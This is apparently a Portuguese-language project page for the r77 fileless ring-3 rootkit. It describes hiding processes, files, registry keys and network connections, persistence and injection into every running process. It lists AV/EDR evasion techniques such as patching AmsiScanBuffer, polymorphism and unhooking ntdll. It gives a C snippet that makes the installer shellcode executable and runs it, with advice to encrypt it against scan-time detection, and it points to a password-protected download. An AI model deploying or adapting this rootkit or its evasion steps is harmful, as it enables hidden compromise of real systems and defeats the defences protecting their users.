
Rootkit ring 3 sem arquivo com instalador e persistência que oculta processos, arquivos, conexões de rede, etc.
r77 é um rootkit ring 3 que esconde tudo:
Tudo que começa com "$77" fica oculto.

O sistema de configuração dinâmica permite ocultar processos por PID e por nome, itens do sistema de arquivos por caminho completo, conexões TCP e UDP de portas específicas, etc.

A configuração está localizada em HKEY_LOCAL_MACHINE\SOFTWARE\$77config e pode ser gravada por qualquer processo sem privilégios elevados. A DACL desta chave está definida para conceder acesso total a qualquer usuário.
Além disso, a chave $77config é oculta pelo rootkit.
A implantação do r77 requer apenas um arquivo: Install.exe. A execução persiste o r77 no sistema e injeta todos os processos em execução.
Uninstall.exe remove o r77 do sistema completamente e de forma graciosa.
Install.shellcode é o equivalente em shellcode do instalador. Dessa forma, a instalação pode ser integrada sem soltar o Install.exe. O shellcode pode simplesmente ser carregado na memória, convertido em um ponteiro de função e executado:
int main()
{
// 1. Load Install.shellcode from resources or from a BYTE[]
// Ideally, encrypt the file and decrypt it here to avoid scantime detection.
LPBYTE shellCode = ...
// 2. Make the shellcode RWX.
DWORD oldProtect;
VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// 3. Cast the buffer to a function pointer and execute it.
((void(*)())shellCode)();
// This is the fileless equivalent to executing Install.exe.
return 0;
}
O rootkit reside na memória do sistema e não escreve nenhum arquivo no disco. Isso é alcançado em vários estágios.
Este gráfico mostra cada estágio desde a execução do instalador até a DLL do rootkit sendo executada em cada processo. A documentação possui um capítulo com detalhes extensos sobre a implementação de cada estágio.

Várias técnicas de evasão de AV e EDR estão em uso:
amsi.dll!AmsiScanBuffer para sempre retornar AMSI_RESULT_CLEAN. Polimorfismo é usado para evadir a detecção de assinaturas do bypass do AMSI.ntdll.dll, esses ganchos precisam ser removidos carregando uma cópia nova de ntdll.dll do disco e restaurando a seção original. Caso contrário, a injeção de processo seria detectada.O Console de Teste é uma ferramenta útil para injetar o r77 em processos individuais e testar o sistema de configuração.

Por favor, leia a documentação técnica para obter uma visão geral abrangente e completa do r77 e seus internos, e como implantá-lo e integrá-lo.
r77 Rootkit 1.8.2.zip
(Senha do ZIP: bytecode77)
Documentação Técnica